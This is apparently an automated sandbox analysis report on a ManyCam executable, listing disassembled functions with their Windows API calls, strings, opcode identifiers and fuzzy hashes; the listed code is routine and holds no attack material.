Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: Heap$AddressProcProcess$AllocCompareExchangeFeatureFreeInterlockedLibraryLoadPresentProcessor
String ID: InterlockedPopEntrySList$InterlockedPushEntrySList$kernel32.dll
API String ID: 3830925854-2586642590
Opcode ID: 045a139df42147dc29b3cf1c1bb3d0180b322a35e46f72030a23bd9566d498ff
Instruction ID: 6a309bd71f26a8b6476057eaf9253ffddd2ea6d6ddf4b4a8f55772e675858cee
Opcode Fuzzy Hash: 045a139df42147dc29b3cf1c1bb3d0180b322a35e46f72030a23bd9566d498ff
Instruction Fuzzy Hash: 7E11B276610228AFE7209F69FC899177FACFF66B51B008419F605C3250D7389814EB60

Uniqueness

Uniqueness Score: -1.00%

Function 00523722 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0052439E
_crt_debugger_hook.MSVCR80(00000001), ref: 005243AB
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 005243B3
UnhandledExceptionFilter.KERNEL32(00575E58), ref: 005243BE
_crt_debugger_hook.MSVCR80(00000001), ref: 005243CF
GetCurrentProcess.KERNEL32(C0000409), ref: 005243DA
TerminateProcess.KERNEL32(00000000), ref: 005243E1

Strings

!ME, xrefs: 00524352

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled_crt_debugger_hook$CurrentDebuggerPresentTerminate
String ID: !ME
API String ID: 3369434319-2242867602
Opcode ID: fa064457d980cb34010aba6a9c8ddec48f34fb03e7b2cf8e25b020562b0318d8
Instruction ID: 39ba21fb788a80fe4ca9cc942bdb85b36a6e35659692cabfea893639d5bd73cc
Opcode Fuzzy Hash: fa064457d980cb34010aba6a9c8ddec48f34fb03e7b2cf8e25b020562b0318d8
Instruction Fuzzy Hash: 9521B0B4901214DFE700DF69FD4E6457BB4FB2A308F10441AF508877A0E7B0568DAF15

Uniqueness

Uniqueness Score: -1.00%

Function 01754660 Relevance: 7.6, APIs: 3, Strings: 1, Instructions: 591memoryCOMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 01754872
cvAlloc.CXCORE099(?), ref: 01754967
cvFree_.CXCORE099(00000000), ref: 01754BFB

Strings

, xrefs: 01754CA6

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: AllocFree___alloca_probe_16
String ID:
API String ID: 2673625120-3916222277
Opcode ID: 054931fefac110e70b7d3d9b9d04c23cbe45587603d74ca9345db81cec7f46fd
Instruction ID: 09aa5abefea82743270554563d0c42fc192438b446a00ea33a8cac6ac2ce305c
Opcode Fuzzy Hash: 054931fefac110e70b7d3d9b9d04c23cbe45587603d74ca9345db81cec7f46fd
Instruction Fuzzy Hash: D4425872D0021ACBCB14CF99C8845EDFBB1FF88314F26855AD846B7354E735AAA5CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00488A00 Relevance: 7.6, APIs: 5, Instructions: 63COMMON

Download Yara Rule

APIs

FindResourceW.KERNEL32(00000000,0047AE1E,00000006,?,0047AE1E), ref: 00488A3B
GetLastError.KERNEL32(?,0047AE1E), ref: 00488A4A
SizeofResource.KERNEL32(00000000,00000000,?,0047AE1E), ref: 00488A5A
GetLastError.KERNEL32(?,0047AE1E), ref: 00488A67
GetLastError.KERNEL32(000000FF,00000000,00000000,00000000,00000000,00000000,?,0047AE1E), ref: 00488AA8

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: ErrorLast$Resource$FindSizeof
String ID:
API String ID: 1187693681-0
Opcode ID: 65827e7e1ba533ac49771d736c66928104eedf98d9c70884fcfb5a62a0082481
Instruction ID: c0cef2afab0bd7fe4f68a4e2e270c34d254ae90ade39b42375e279ad05fcd0b3
Opcode Fuzzy Hash: 65827e7e1ba533ac49771d736c66928104eedf98d9c70884fcfb5a62a0082481
Instruction Fuzzy Hash: 13215EB490410CAFDF04EFA8C894AAEBBB5AF58304F50855EF516E7380DB349A40DBA5

Uniqueness

Uniqueness Score: -1.00%

Function 017565F0 Relevance: 7.2, APIs: 4, Instructions: 1230COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 01756688
__alloca_probe_16.LIBCMT ref: 017566B6
__alloca_probe_16.LIBCMT ref: 01756778
__alloca_probe_16.LIBCMT ref: 01756FE0

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: __alloca_probe_16
String ID:
API String ID: 1700504859-0
Opcode ID: 08f82ffd08475a794c49e9677cee56809f0bb045cb9aa07f3d06f5baeb60138d
Instruction ID: d21979ef1242100eb0bb9e660c42fed31a03ab200fbb33937fce967b9c0739ce
Opcode Fuzzy Hash: 08f82ffd08475a794c49e9677cee56809f0bb045cb9aa07f3d06f5baeb60138d
Instruction Fuzzy Hash: 5FB27B72E01209DFCB05CF58D9986DCBBB1FF88354F668558E805A7329E731AA65CF80

Uniqueness

Uniqueness Score: -1.00%

Function 004B7920 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,0050F176,00000000,?,?,?,?,?,?,74C45DB3), ref: 004B7929
FormatMessageW.KERNEL32(00001100,00000000,00000000,00000400,00000000,00000000,00000000), ref: 004B7951

Part of subcall function 004B77A0: fwprintf.MSVCR80 ref: 004B7842
Part of subcall function 004B77A0: fflush.MSVCR80 ref: 004B7852

GlobalFree.KERNEL32(00000000), ref: 004B797D

Strings

Error %lu(%XH): %s, xrefs: 004B7963

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: ErrorFormatFreeGlobalLastMessagefflushfwprintf
String ID: Error %lu(%XH): %s
API String ID: 800684769-2225916613
Opcode ID: 9c25a239c4296b40a1aac8e3427c21774919ee94bcf497bff91ff5139ac85dd7
Instruction ID: 92133e916cea4efcc1403b83aedde9febef4d0811e6201f309352de0de206619
Opcode Fuzzy Hash: 9c25a239c4296b40a1aac8e3427c21774919ee94bcf497bff91ff5139ac85dd7
Instruction Fuzzy Hash: 42F0AFB9E40208BBE714DBD4DC46F9EBB78AB58701F104159FB04A7280D7B06A45DBA5

Uniqueness

Uniqueness Score: -1.00%

Function 004164A0 Relevance: 6.1, APIs: 4, Instructions: 97filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416650: FindClose.KERNEL32(55C35DE5,00000000,?,004164B1,00000000,000001E2,-0000012B), ref: 00416686

lstrlenW.KERNEL32(00000000,00000000,000001E2), ref: 004164C4
FindFirstFileW.KERNEL32(00000000,00000104,000000D8,00000104,00000000), ref: 004164F5
GetFullPathNameW.KERNEL32(00000000,00000104,?,00000000), ref: 0041652C
SetLastError.KERNEL32(0000007B), ref: 0041654D

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: Find$CloseErrorFileFirstFullLastNamePathlstrlen
String ID:
API String ID: 333540133-0
Opcode ID: 171f62d7d2e46f7442e9afe65942f367c9dc7a9140c3c81f7060891864299191
Instruction ID: f4e42fcc4f8ec7ae6713741ac17fac935eec9a5453ba0a6ca1ec1d98cf041219
Opcode Fuzzy Hash: 171f62d7d2e46f7442e9afe65942f367c9dc7a9140c3c81f7060891864299191
Instruction Fuzzy Hash: 8E413AB0A00219AFDB00DFA4DC84BEE77B2BF44305F11856AE515AB385C778D984CB98

Uniqueness

Uniqueness Score: -1.00%

Function 017302A0 Relevance: 6.1, Strings: 3, Instructions: 2301COMMON

Download Yara Rule

Strings

@, xrefs: 01730C30
@, xrefs: 017315A2
@, xrefs: 01731929

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID:
String ID: @$@$@
API String ID: 0-1177533131
Opcode ID: 54d35d5de71da6428a132d58046e86d087c9a2e4de63c932824f38e15513673f
Instruction ID: d31eb0a60525eeff2767fecf399fcb139688093ad8973d3ff6467798e3b6d1ec
Opcode Fuzzy Hash: 54d35d5de71da6428a132d58046e86d087c9a2e4de63c932824f38e15513673f
Instruction Fuzzy Hash: 1F235BB2A04B05DBC3159F18D044159FBF0FF88754F664A8DE4D9A726AEB32E864CBC1

Uniqueness

Uniqueness Score: -1.00%

Function 017504F0 Relevance: 5.7, APIs: 3, Instructions: 1200COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 0175053D

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: __alloca_probe_16
String ID:
API String ID: 1700504859-0
Opcode ID: 9629eea478503e3f26c059d84ca5f4ff51b4fe9f3b7641ed9df5608ec469a1f0
Instruction ID: 92ee385c3781a5ed5f206081d4f00483e3471292c6177ab9f3e686809069b240
Opcode Fuzzy Hash: 9629eea478503e3f26c059d84ca5f4ff51b4fe9f3b7641ed9df5608ec469a1f0
Instruction Fuzzy Hash: E1C222B1E0021ADFCB10CF99D4946EDFBB0FF48314F26859AD815A7215E735AAA5CF80

Uniqueness

Uniqueness Score: -1.00%

Function 0174C670 Relevance: 5.6, APIs: 3, Instructions: 1069memoryCOMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 0174C6BD
cvAlloc.CXCORE099 ref: 0174C889
cvFree_.CXCORE099(00000000), ref: 0174D21B

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: AllocFree___alloca_probe_16
String ID:
API String ID: 2673625120-0
Opcode ID: d05f04523ab9613e4427ed6aee2fcb71c9219fea445d7ea2417886104d0b70e9
Instruction ID: c0ca3140bd7781b4291653e5f3494bd00e23e871e2e1ba3489b0535c8d16df26
Opcode Fuzzy Hash: d05f04523ab9613e4427ed6aee2fcb71c9219fea445d7ea2417886104d0b70e9
Instruction Fuzzy Hash: 64A23772E0120ADFCB01CF98D5845DDFBB1FF88314B2A8659D545AB329E731AA65CF80

Uniqueness

Uniqueness Score: -1.00%

Function 004170D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

memset.MSVCR80 ref: 004170FB
GetVersionExW.KERNEL32(00000114), ref: 00417114

Strings

Z, xrefs: 0041713B

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: Versionmemset
String ID: Z
API String ID: 3136939366-1505515367
Opcode ID: 516b4f2a042728e0f0f59f6a94ebabed824618c26df89cb6cf625fad9862a033
Instruction ID: 947a03641c50d36fa0e939df1043f0996d18235827ec97ca73ee9231d218b9cc
Opcode Fuzzy Hash: 516b4f2a042728e0f0f59f6a94ebabed824618c26df89cb6cf625fad9862a033
Instruction Fuzzy Hash: 63017C7094522C9BDF28CF60DD0A7D8B7B4AB0A305F0001EAD54926381DB785BD8CF89

Uniqueness

Uniqueness Score: -1.00%

Function 01758700 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 523COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 01758763

Strings

, xrefs: 01758B9B

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: __alloca_probe_16
String ID:
API String ID: 1700504859-3916222277
Opcode ID: 0a4164237a5065085ffcba7a6d51da5e19167fe508f53dfa19a0ef76395788be
Instruction ID: a636197ef1e6903378ca528a7e32f82db9ce35817c44076ca886e92cdee9a653
Opcode Fuzzy Hash: 0a4164237a5065085ffcba7a6d51da5e19167fe508f53dfa19a0ef76395788be
Instruction Fuzzy Hash: 19227072E00509CBCB04CF58D8556DDBBF1FF48354F268998D845A7329EB72AA65CBC0

Uniqueness

Uniqueness Score: -1.00%

Function 0050EC90 Relevance: 4.0, APIs: 3, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7a71dcc478b47e40df8151f770de63c075e4e3c067fe5a625892b148f8ef34b
Instruction ID: b9a8476a3ded02214ffd1c961f0993893401f5a1c5ac13666dc1643a7a7c18ad
Opcode Fuzzy Hash: a7a71dcc478b47e40df8151f770de63c075e4e3c067fe5a625892b148f8ef34b
Instruction Fuzzy Hash: 5DB1FA7460424ADFCB04CF44C5959AEBBB2FF45344F248A99E8595B392C332EE52DF90

Uniqueness

Uniqueness Score: -1.00%

Function 004B2100 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 104comCOMMON

Download Yara Rule

APIs

Part of subcall function 00416740: _DebugHeapAllocator.LIBCPMTD ref: 00416795

Part of subcall function 00438A10: clock.MSVCR80 ref: 00438AA7
Part of subcall function 00438A10: _DebugHeapAllocator.LIBCPMTD ref: 00438AC5

CoCreateInstance.OLE32(?,00000000,00000001,00571980,00000000,?,?,0056F520,74C45DB3,?,?,?,?,00000000,005334CC,000000FF), ref: 004B21C6

Strings

CGraphMgr::AddFilterByCLSID name=%s, xrefs: 004B214A

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: AllocatorDebugHeap$CreateInstanceclock
String ID: CGraphMgr::AddFilterByCLSID name=%s
API String ID: 918117742-3942708501
Opcode ID: 80f2d3ddaa8d4aa783709a640ee3d22423abe0e31a3af0e214f939dcddfe5315
Instruction ID: 6627f4356a5c181cec56012d4899b026b21b0b7ca21db5bf76fe668c849b38a9
Opcode Fuzzy Hash: 80f2d3ddaa8d4aa783709a640ee3d22423abe0e31a3af0e214f939dcddfe5315
Instruction Fuzzy Hash: C2411C75900209EFDB08DF98D984BEEB7B4FB08314F10865EE815A7390DB74AA01CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00523077 Relevance: 2.5, APIs: 2, Instructions: 12memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00416AB4,00523168,00416AB4,0041507C,00415062,?,00415062,00416AB4,?,00416AB4,?,?,?,?), ref: 00523087
HeapFree.KERNEL32(00000000,?,00415062,00416AB4,?,00416AB4,?,?,?,?), ref: 0052308E

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 441a53b93ebf16eed188891ea13d12f94a6ae03e7d81ddeafca47d4340301828
Instruction ID: f319b3c51e495ac70aa74a2a88efa86c29433e891e0bee9a04cda8eb8d13ba05
Opcode Fuzzy Hash: 441a53b93ebf16eed188891ea13d12f94a6ae03e7d81ddeafca47d4340301828
Instruction Fuzzy Hash: D1D00274914214AFDE11ABA8AE8EA493B7ABF65702F504840F216D61A1D7399848FA21

Uniqueness

Uniqueness Score: -1.00%

Function 0173E120 Relevance: .5, Instructions: 506COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba1f891c14056068dd97b63465f92a651e8bc70bc2816f84cef433a91f47834
Instruction ID: 83b1a9a93882681be111fadff0eb700a033cde99a3d675150920589f25ee6fa9
Opcode Fuzzy Hash: 9ba1f891c14056068dd97b63465f92a651e8bc70bc2816f84cef433a91f47834
Instruction Fuzzy Hash: D712DAB3E0464597C3166E14D4151997BB4FBC43A0F678E6CE885A23BDFE328E148BC1

Uniqueness

Uniqueness Score: -1.00%

Function 01762230 Relevance: .4, Instructions: 420COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d546704e24b567ffba48365034ac8a626b2643745aa52b31428b0ffb95f4c6a1
Instruction ID: 4b512b722ffa73e592f51c58e1cc73119871d10462af152a260d05884af6b8c5
Opcode Fuzzy Hash: d546704e24b567ffba48365034ac8a626b2643745aa52b31428b0ffb95f4c6a1
Instruction Fuzzy Hash: 7EF1C231604606CFC752DF18D98856DFBF5FF88304F614A9CE9818726AEB319879CB92

Uniqueness

Uniqueness Score: -1.00%

Function 01740180 Relevance: .4, Instructions: 384COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 696d11003d3a6d40e1b821a7b3bad905765128a82e2d32939910c76f1fa2450e
Instruction ID: dfe1960557ccc7fdfab0c4697b51bdd4383539b0009b32c68bde2e3cc8440e47
Opcode Fuzzy Hash: 696d11003d3a6d40e1b821a7b3bad905765128a82e2d32939910c76f1fa2450e
Instruction Fuzzy Hash: ECD1E773F086019BC3059E28D445199FBA5FBC4394F668E6DF486922A9FB32C9148BC1

Uniqueness

Uniqueness Score: -1.00%

Function 016F82F0 Relevance: .4, Instructions: 354COMMON

Download Yara Rule

Memory Dump Source

